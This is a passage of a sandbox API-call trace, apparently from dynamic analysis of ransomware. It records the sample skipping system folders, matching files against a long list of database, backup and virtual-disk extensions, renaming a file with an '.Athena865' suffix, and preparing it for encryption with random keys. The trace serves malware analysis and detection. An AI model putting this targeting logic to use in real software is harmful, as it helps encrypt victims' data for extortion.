lstrcmpiW (lpString1="sidebar.exe", lpString2="windows") returned -1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="bootmgr") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="temp") returned -1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="pagefile.sys") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="boot") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="ids.txt") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="ntuser.dat") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="perflogs") returned 1 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2="MSBuild") returned 1 [0048.213] lstrlenW (lpString="sidebar.exe") returned 11 [0048.213] lstrcpyW (in: lpString1=0x241e896, lpString2="sidebar.exe" | out: lpString1="sidebar.exe") returned="sidebar.exe" [0048.213] lstrlenW (lpString="sidebar.exe") returned 11 [0048.213] lstrlenW (lpString="Athena865") returned 9 [0048.213] lstrcmpiW (lpString1="debar.exe", lpString2="Athena865") returned 1 [0048.213] lstrlenW (lpString=".dll") returned 4 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2=".dll") returned 1 [0048.213] lstrlenW (lpString=".lnk") returned 4 [0048.213] lstrcmpiW (lpString1="sidebar.exe", lpString2=".lnk") returned 1 [0048.213] lstrlenW (lpString=".ini") returned 4 [0048.214] lstrcmpiW (lpString1="sidebar.exe", lpString2=".ini") returned 1 [0048.214] lstrlenW (lpString=".sys") returned 4 [0048.214] lstrcmpiW (lpString1="sidebar.exe", lpString2=".sys") returned 1 [0048.214] lstrlenW (lpString="sidebar.exe") returned 11 [0048.214] lstrlenW (lpString="bak") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0048.214] lstrlenW (lpString="ba_") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0048.214] lstrlenW (lpString="dbb") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0048.214] lstrlenW (lpString="vmdk") returned 4 [0048.214] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0048.214] lstrlenW (lpString="rar") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0048.214] lstrlenW (lpString="zip") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0048.214] lstrlenW (lpString="tgz") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0048.214] lstrlenW (lpString="vbox") returned 4 [0048.214] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0048.214] lstrlenW (lpString="vdi") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0048.214] lstrlenW (lpString="vhd") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0048.214] lstrlenW (lpString="vhdx") returned 4 [0048.214] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0048.214] lstrlenW (lpString="avhd") returned 4 [0048.214] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0048.214] lstrlenW (lpString="db") returned 2 [0048.214] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0048.214] lstrlenW (lpString="db2") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0048.214] lstrlenW (lpString="db3") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0048.214] lstrlenW (lpString="dbf") returned 3 [0048.214] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0048.214] lstrlenW (lpString="mdf") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0048.215] lstrlenW (lpString="mdb") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0048.215] lstrlenW (lpString="sql") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0048.215] lstrlenW (lpString="sqlite") returned 6 [0048.215] lstrcmpiW (lpString1="ar.exe", lpString2="sqlite") returned -1 [0048.215] lstrlenW (lpString="sqlite3") returned 7 [0048.215] lstrcmpiW (lpString1="bar.exe", lpString2="sqlite3") returned -1 [0048.215] lstrlenW (lpString="sqlitedb") returned 8 [0048.215] lstrcmpiW (lpString1="ebar.exe", lpString2="sqlitedb") returned -1 [0048.215] lstrlenW (lpString="xml") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0048.215] lstrlenW (lpString="$er") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0048.215] lstrlenW (lpString="4dd") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0048.215] lstrlenW (lpString="4dl") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0048.215] lstrlenW (lpString="^^^") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0048.215] lstrlenW (lpString="abs") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0048.215] lstrlenW (lpString="abx") returned 3 [0048.215] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0048.215] lstrlenW (lpString="accdb") returned 5 [0048.215] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0048.215] lstrlenW (lpString="accdc") returned 5 [0048.215] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0048.215] lstrlenW (lpString="accde") returned 5 [0048.215] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0048.215] lstrlenW (lpString="accdr") returned 5 [0048.215] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0048.215] lstrlenW (lpString="accdt") returned 5 [0048.215] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0048.215] lstrlenW (lpString="accdw") returned 5 [0048.216] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0048.216] lstrlenW (lpString="accft") returned 5 [0048.216] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0048.216] lstrlenW (lpString="adb") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0048.216] lstrlenW (lpString="adb") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0048.216] lstrlenW (lpString="ade") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0048.216] lstrlenW (lpString="adf") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0048.216] lstrlenW (lpString="adn") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0048.216] lstrlenW (lpString="adp") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0048.216] lstrlenW (lpString="alf") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0048.216] lstrlenW (lpString="ask") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0048.216] lstrlenW (lpString="btr") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0048.216] lstrlenW (lpString="cat") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0048.216] lstrlenW (lpString="cdb") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0048.216] lstrlenW (lpString="ckp") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0048.216] lstrlenW (lpString="cma") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0048.216] lstrlenW (lpString="cpd") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0048.216] lstrlenW (lpString="dacpac") returned 6 [0048.216] lstrcmpiW (lpString1="ar.exe", lpString2="dacpac") returned -1 [0048.216] lstrlenW (lpString="dad") returned 3 [0048.216] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0048.216] lstrlenW (lpString="dadiagrams") returned 10 [0048.216] lstrcmpiW (lpString1="idebar.exe", lpString2="dadiagrams") returned 1 [0048.216] lstrlenW (lpString="daschema") returned 8 [0048.217] lstrcmpiW (lpString1="ebar.exe", lpString2="daschema") returned 1 [0048.217] lstrlenW (lpString="db-journal") returned 10 [0048.217] lstrcmpiW (lpString1="idebar.exe", lpString2="db-journal") returned 1 [0048.217] lstrlenW (lpString="db-shm") returned 6 [0048.217] lstrcmpiW (lpString1="ar.exe", lpString2="db-shm") returned -1 [0048.217] lstrlenW (lpString="db-wal") returned 6 [0048.217] lstrcmpiW (lpString1="ar.exe", lpString2="db-wal") returned -1 [0048.217] lstrlenW (lpString="dbc") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0048.217] lstrlenW (lpString="dbs") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0048.217] lstrlenW (lpString="dbt") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0048.217] lstrlenW (lpString="dbv") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0048.217] lstrlenW (lpString="dbx") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0048.217] lstrlenW (lpString="dcb") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0048.217] lstrlenW (lpString="dct") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0048.217] lstrlenW (lpString="dcx") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0048.217] lstrlenW (lpString="ddl") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0048.217] lstrlenW (lpString="dlis") returned 4 [0048.217] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0048.217] lstrlenW (lpString="dp1") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0048.217] lstrlenW (lpString="dqy") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0048.217] lstrlenW (lpString="dsk") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0048.217] lstrlenW (lpString="dsn") returned 3 [0048.217] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0048.217] lstrlenW (lpString="dtsx") returned 4 [0048.217] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0048.217] lstrlenW (lpString="dxl") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0048.218] lstrlenW (lpString="eco") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0048.218] lstrlenW (lpString="ecx") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0048.218] lstrlenW (lpString="edb") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0048.218] lstrlenW (lpString="epim") returned 4 [0048.218] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0048.218] lstrlenW (lpString="fcd") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0048.218] lstrlenW (lpString="fdb") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0048.218] lstrlenW (lpString="fic") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0048.218] lstrlenW (lpString="flexolibrary") returned 12 [0048.218] lstrlenW (lpString="fm5") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0048.218] lstrlenW (lpString="fmp") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0048.218] lstrlenW (lpString="fmp12") returned 5 [0048.218] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0048.218] lstrlenW (lpString="fmpsl") returned 5 [0048.218] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0048.218] lstrlenW (lpString="fol") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0048.218] lstrlenW (lpString="fp3") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0048.218] lstrlenW (lpString="fp4") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0048.218] lstrlenW (lpString="fp5") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0048.218] lstrlenW (lpString="fp7") returned 3 [0048.218] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0048.218] lstrlenW (lpString="fpt") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0048.219] lstrlenW (lpString="frm") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0048.219] lstrlenW (lpString="gdb") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0048.219] lstrlenW (lpString="gdb") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0048.219] lstrlenW (lpString="grdb") returned 4 [0048.219] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0048.219] lstrlenW (lpString="gwi") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0048.219] lstrlenW (lpString="hdb") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0048.219] lstrlenW (lpString="his") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0048.219] lstrlenW (lpString="ib") returned 2 [0048.219] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0048.219] lstrlenW (lpString="idb") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0048.219] lstrlenW (lpString="ihx") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0048.219] lstrlenW (lpString="itdb") returned 4 [0048.219] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0048.219] lstrlenW (lpString="itw") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0048.219] lstrlenW (lpString="jet") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0048.219] lstrlenW (lpString="jtx") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0048.219] lstrlenW (lpString="kdb") returned 3 [0048.219] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0048.219] lstrlenW (lpString="kexi") returned 4 [0048.219] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0048.219] lstrlenW (lpString="kexic") returned 5 [0048.219] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0048.219] lstrlenW (lpString="kexis") returned 5 [0048.220] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0048.220] lstrlenW (lpString="lgc") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0048.220] lstrlenW (lpString="lwx") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0048.220] lstrlenW (lpString="maf") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0048.220] lstrlenW (lpString="maq") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0048.220] lstrlenW (lpString="mar") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0048.220] lstrlenW (lpString="marshal") returned 7 [0048.220] lstrcmpiW (lpString1="bar.exe", lpString2="marshal") returned -1 [0048.220] lstrlenW (lpString="mas") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0048.220] lstrlenW (lpString="mav") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0048.220] lstrlenW (lpString="maw") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0048.220] lstrlenW (lpString="mdbhtml") returned 7 [0048.220] lstrcmpiW (lpString1="bar.exe", lpString2="mdbhtml") returned -1 [0048.220] lstrlenW (lpString="mdn") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0048.220] lstrlenW (lpString="mdt") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0048.220] lstrlenW (lpString="mfd") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0048.220] lstrlenW (lpString="mpd") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0048.220] lstrlenW (lpString="mrg") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0048.220] lstrlenW (lpString="mud") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0048.220] lstrlenW (lpString="mwb") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0048.220] lstrlenW (lpString="myd") returned 3 [0048.220] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0048.221] lstrlenW (lpString="ndf") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0048.221] lstrlenW (lpString="nnt") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0048.221] lstrlenW (lpString="nrmlib") returned 6 [0048.221] lstrcmpiW (lpString1="ar.exe", lpString2="nrmlib") returned -1 [0048.221] lstrlenW (lpString="ns2") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0048.221] lstrlenW (lpString="ns3") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0048.221] lstrlenW (lpString="ns4") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0048.221] lstrlenW (lpString="nsf") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0048.221] lstrlenW (lpString="nv") returned 2 [0048.221] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0048.221] lstrlenW (lpString="nv2") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0048.221] lstrlenW (lpString="nwdb") returned 4 [0048.221] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0048.221] lstrlenW (lpString="nyf") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0048.221] lstrlenW (lpString="odb") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0048.221] lstrlenW (lpString="odb") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0048.221] lstrlenW (lpString="oqy") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0048.221] lstrlenW (lpString="ora") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0048.221] lstrlenW (lpString="orx") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0048.221] lstrlenW (lpString="owc") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0048.221] lstrlenW (lpString="p96") returned 3 [0048.221] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0048.222] lstrlenW (lpString="p97") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0048.222] lstrlenW (lpString="pan") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0048.222] lstrlenW (lpString="pdb") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0048.222] lstrlenW (lpString="pdm") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0048.222] lstrlenW (lpString="pnz") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0048.222] lstrlenW (lpString="qry") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0048.222] lstrlenW (lpString="qvd") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0048.222] lstrlenW (lpString="rbf") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0048.222] lstrlenW (lpString="rctd") returned 4 [0048.222] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0048.222] lstrlenW (lpString="rod") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0048.222] lstrlenW (lpString="rodx") returned 4 [0048.222] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0048.222] lstrlenW (lpString="rpd") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0048.222] lstrlenW (lpString="rsd") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0048.222] lstrlenW (lpString="sas7bdat") returned 8 [0048.222] lstrcmpiW (lpString1="ebar.exe", lpString2="sas7bdat") returned -1 [0048.222] lstrlenW (lpString="sbf") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0048.222] lstrlenW (lpString="scx") returned 3 [0048.222] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0048.223] lstrlenW (lpString="sdb") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0048.223] lstrlenW (lpString="sdc") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0048.223] lstrlenW (lpString="sdf") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0048.223] lstrlenW (lpString="sis") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0048.223] lstrlenW (lpString="spq") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0048.223] lstrlenW (lpString="te") returned 2 [0048.223] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0048.223] lstrlenW (lpString="teacher") returned 7 [0048.223] lstrcmpiW (lpString1="bar.exe", lpString2="teacher") returned -1 [0048.223] lstrlenW (lpString="tmd") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0048.223] lstrlenW (lpString="tps") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0048.223] lstrlenW (lpString="trc") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0048.223] lstrlenW (lpString="trc") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0048.223] lstrlenW (lpString="trm") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0048.223] lstrlenW (lpString="udb") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0048.223] lstrlenW (lpString="udl") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0048.223] lstrlenW (lpString="usr") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0048.223] lstrlenW (lpString="v12") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0048.223] lstrlenW (lpString="vis") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0048.223] lstrlenW (lpString="vpd") returned 3 [0048.223] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0048.224] lstrlenW (lpString="vvv") returned 3 [0048.224] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0048.224] lstrlenW (lpString="wdb") returned 3 [0048.224] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0048.224] lstrlenW (lpString="wmdb") returned 4 [0048.224] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0048.224] lstrlenW (lpString="wrk") returned 3 [0048.224] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0048.224] lstrlenW (lpString="xdb") returned 3 [0048.224] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0048.224] lstrlenW (lpString="xld") returned 3 [0048.224] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0048.224] lstrlenW (lpString="xmlff") returned 5 [0048.224] lstrcmpiW (lpString1="r.exe", lpString2="xmlff") returned -1 [0048.224] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe.Athena865") returned 60 [0048.224] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\sidebar.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\sidebar.exe.athena865"), dwFlags=0x1) returned 1 [0048.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\sidebar.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.225] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1174016) returned 1 [0048.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.226] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.226] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.226] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.227] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11ed00, lpName=0x0) returned 0x17c [0048.228] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11ed00) returned 0x2d50000 [0048.280] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.280] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.280] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x524fa0 [0048.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524fa0 | out: hHeap=0x4f0000) returned 1 [0048.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.281] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0048.291] CloseHandle (hObject=0x17c) returned 1 [0048.291] CloseHandle (hObject=0x154) returned 1 [0048.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.296] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b27b844, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b27b844, ftLastAccessTime.dwHighDateTime=0x1ca0413, 